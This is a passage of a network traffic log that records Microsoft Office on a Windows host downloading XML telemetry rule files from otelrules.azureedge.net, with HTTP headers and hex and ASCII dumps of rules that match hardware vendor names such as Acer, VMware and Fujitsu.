2024-11-25 11:07:26 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:26 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 08b7745d-b01e-00ab-54e9-3edafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110726Z-15b8b599d88z9sc7hC1TEBkr4w00000005w000000000fkbq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:26 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:26 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:26 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30a29eaf-701e-001e-220f-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110726Z-178bfbc474bfw4gbhC1NYCunf4000000079g00000000bqte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:27 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:28 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110728Z-174c587ffdftjz9shC1TEBsh9800000005q000000000bdp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:28 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110728Z-174c587ffdfgcs66hC1TEB69cs00000005pg00000000by48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:29 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:28 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:29 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 3257ccc0-201e-005d-19b5-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110729Z-178bfbc474brk967hC1NYCfu60000000073000000000af2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:29 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:28 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: f380030e-501e-007b-0625-3d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110729Z-178bfbc474bp8mkvhC1NYCzqnn000000073g00000000awtb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49737	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:28 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: e328efd5-c01e-00a2-56bf-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110729Z-178bfbc474bpscmfhC1NYCfc2c00000005xg0000000097dq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:30 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c77577e7-501e-0078-0da6-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110731Z-178bfbc474bmqmgjhC1NYCy16c00000007eg000000005zvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:30 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 2b92647c-c01e-00a2-646f-3b2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110731Z-174c587ffdf8fcgwhC1TEBnn70000000063000000000145u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:31 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110731Z-15b8b599d88vp97chC1TEB5pzw00000005u00000000087yc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:31 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 561b455d-701e-003e-353f-3e79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110731Z-15b8b599d886w4hzhC1TEBb4ug00000005wg000000009adw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:07:31 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 11:07:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:07:31 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ffa63380-201e-006e-3b6c-3dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T110731Z-15b8b599d889gj5whC1TEBfyk000000005rg000000004g3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 11:07:31 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" 